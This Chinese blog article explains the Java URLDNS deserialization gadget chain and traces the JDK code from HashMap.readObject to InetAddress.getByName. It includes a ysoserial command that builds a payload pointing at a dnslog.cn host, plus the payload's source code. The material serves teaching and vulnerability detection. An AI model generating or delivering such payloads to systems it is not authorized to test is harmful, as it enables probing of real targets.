资讯专栏INFORMATION COLUMN

反序列化漏洞与URLDNS利用链

Barrior / 2790人阅读

摘要:总结它的利用链如下总体上来讲,该利用链先需要初始化个对象,作为的值,值可以随意接着,设置这对象的的初始值为,以便反序列化时重新计算其,触发后的请求。

前言

参考phith0n的Java安全漫谈

Java的反序列化和PHP的反序列化其实有点类似,他们都只能将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。

但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。

当然,PHP中也提供了一个魔术方法叫 __wakeup ,在反序列化的时候进行触发。很多人会认为Java的readObject 和PHP的 __wakeup 类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异。

Java设计 readObject 的思路和PHP的 __wakeup 不同点在于: readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题。

其实,PHP的反序列化漏洞,很少是由 __wakeup 这个方法触发的,通常触发在析构函数__destruct 里。其实大部分PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。

URLDNS

先从最简单的URLDNS利用链开始,工具见github,命令如下:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://zeha2q.dnslog.cn" >urldns.bin

验证代码

package yso;import java.io.FileInputStream;import java.io.ObjectInputStream;public class URLDNS {    public static void main(String[] args) throws Exception {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));        ois.readObject();    }}

结果

可以先看看ysoserial的URLDNS

package ysoserial.payloads;import java.io.IOException;import java.net.InetAddress;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;import java.net.URL;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;/** * A blog post with more details about this gadget chain is at the url below: *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog *   posting describing how he modified the Java Commons Collections gadget *   in ysoserial to open a URL. This takes the same idea, but eliminates *   the dependency on Commons Collections and does a DNS lookup with just *   standard JDK classes. * *   The Java URL class has an interesting property on its equals and *   hashCode methods. The URL class will, as a side effect, do a DNS lookup *   during a comparison (either equals or hashCode). * *   As part of deserialization, HashMap calls hashCode on each key that it *   deserializes, so using a Java URL object as a serialized key allows *   it to trigger a DNS lookup. * *   Gadget Chain: *     HashMap.readObject() *       HashMap.putVal() *         HashMap.hash() *           URL.hashCode() * * */@SuppressWarnings({ "rawtypes", "unchecked" })@PayloadTest(skip = "true")@Dependencies()@Authors({ Authors.GEBL })public class URLDNS implements ObjectPayload<Object> {        public Object getObject(final String url) throws Exception {                //Avoid DNS resolution during payload creation                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.                URLStreamHandler handler = new SilentURLStreamHandler();                HashMap ht = new HashMap(); // HashMap that will contain the URL                URL u = new URL(null, url, handler); // URL to use as the Key                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL"s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.                return ht;        }        public static void main(final String[] args) throws Exception {                PayloadRunner.run(URLDNS.class, args);        }        /**         * 

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.

* * Potential false negative: *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.

*/
static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } }}

注释很详细,总体就是构造了一个恶意的被序列化的对象HashMap。其中,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,重写了⼀个 SilentURLStreamHandler 类,这不是必须的。

为何选择HashMap,大多数反序列化漏洞触发都是由于调用了readobject,我们先来看看HashMap的readobject有什么:

private void readObject(java.io.ObjectInputStream s)        throws IOException, ClassNotFoundException {        // Read in the threshold (ignored), loadfactor, and any hidden stuff        s.defaultReadObject();        reinitialize();        if (loadFactor <= 0 || Float.isNaN(loadFactor))            throw new InvalidObjectException("Illegal load factor: " +                                             loadFactor);        s.readInt();                // Read and ignore number of buckets        int mappings = s.readInt(); // Read number of mappings (size)        if (mappings < 0)            throw new InvalidObjectException("Illegal mappings count: " +                                             mappings);        else if (mappings > 0) { // (if zero, use defaults)            // Size the table using given load factor only if within            // range of 0.25...4.0            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);            float fc = (float)mappings / lf + 1.0f;            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?                       DEFAULT_INITIAL_CAPACITY :                       (fc >= MAXIMUM_CAPACITY) ?                       MAXIMUM_CAPACITY :                       tableSizeFor((int)fc));            float ft = (float)cap * lf;            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?                         (int)ft : Integer.MAX_VALUE);            @SuppressWarnings({"rawtypes","unchecked"})                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];            table = tab;            // Read the keys and values, and put the mappings in the HashMap            for (int i = 0; i < mappings; i++) {                @SuppressWarnings("unchecked")                    K key = (K) s.readObject();                @SuppressWarnings("unchecked")                    V value = (V) s.readObject();                putVal(hash(key), key, value, false, false);            }        }    }

问题出现在putVal(hash(key), key, value, false, false);中的hash()函数,继续跟进

    static final int hash(Object key) {        int h;        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);    }

其中key为java.net.URL 的对象,跟进该对象的hashCode方法

    public synchronized int hashCode() {        if (hashCode != -1)            return hashCode;        hashCode = handler.hashCode(this);        return hashCode;    }

上面函数判断说明了利用链中为何将hashCode设置为-1,继续跟进handler.hashCode(this)

protected int hashCode(URL u) {     int h = 0;     // Generate the protocol part.     String protocol = u.getProtocol();     if (protocol != null)         h += protocol.hashCode();     // Generate the host part.     InetAddress addr = getHostAddress(u);     if (addr != null) {         h += addr.hashCode();     } else {         String host = u.getHost();         if (host != null)             h += host.toLowerCase().hashCode();     }     // Generate the file part.     String file = u.getFile();     if (file != null)         h += file.hashCode();     // Generate the port part.     if (u.getPort() == -1)         h += getDefaultPort();     else         h += u.getPort();     // Generate the ref part.     String ref = u.getRef();     if (ref != null)         h += ref.hashCode();     return h; }

接着就是调用getHostAddress(u),跟进:

protected synchronized InetAddress getHostAddress(URL u) {    if (u.hostAddress != null)        return u.hostAddress;    String host = u.getHost();    if (host == null || host.equals("")) {        return null;    } else {        try {            u.hostAddress = InetAddress.getByName(host);        } catch (UnknownHostException ex) {            return null;        } catch (SecurityException se) {            return null;        }    }    return u.hostAddress;}

其中getByName(host) 的作⽤是根据域名获取IP地址,也就是进行dns查询。

总结它的利用链如下:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

总体上来讲,该利用链先需要初始化⼀个 java.net.URL 对象,作为 java.util.HashMap的key值,value值可以随意;接着,设置这 java.net.URL 对象的 hashCode 的初始值为 -1 ,以便反序列化时重新计算其 hashCode ,触发后⾯的DNS请求。

参考:
phith0n的Java安全漫谈

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/119189.html

相关文章

  • 2018先知白帽大会 | 议题解读

    摘要:摘要今年的先知白帽大会,与会者将能够亲身感受到非常多有趣的技术议题,如在国际赛事中屡夺佳绩的团队,其队长将亲临现场,分享穿针引线般的漏洞利用艺术。从数据视角探索安全威胁阿里云安全工程师议题解读本议题讨论了数据为安全人员思维方式带来的变化。 摘要: 今年的先知白帽大会,与会者将能够亲身感受到非常多有趣的技术议题,如HITCON在国际赛事中屡夺佳绩的CTF团队,其队长Orange将亲临现场...

    Hydrogen 评论0 收藏0
  • 渗透测试常见面试题总结

    摘要:渗透攻击渗透攻击是指有攻击者或渗透测试者利用一个系统应用或服务中的安全漏洞,所进行的攻击行为。是指在渗透攻击时作为攻击载荷运行的一组机器指令。 域 将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器...

    不知名网友 评论0 收藏0
  • weblogic漏洞总结复现

    摘要:在当前页面抓包后修改内容,写入冰蝎脚本文件。添加的内容为实现反弹。影响范围相关漏洞有复现过程环境这里先使用扫描一下是否开启了服务。使用工具写入。 目录 简介Web...

    glumes 评论0 收藏0
  • 基础知识点|命令执行漏洞相关总结

    摘要:命令本地包含执行漏洞。该函数会在命令执行后将所有输出值作为字符串输入返回值,本身并不打印任何信息。将尝试将反引号中的内容作为外壳命令执行,并将输出信息作为返回值返回即可以赋给一个变量而不是简单的丢弃到标准输出。 ...

    cc17 评论0 收藏0
  • TensorFlow 删除 YAML 支持,建议 JSON 作为替补方案!

    摘要:据公告称,和的包装库使用了不安全的函数来反序列化编码的机器学习模型。简单来看,序列化将对象转换为字节流。据悉,本次漏洞影响与版本,的到版本均受影响。作为解决方案,在宣布弃用之后,团队建议开发者以替代序列化,或使用序列化作为替代。 ...

    BlackFlagBin 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<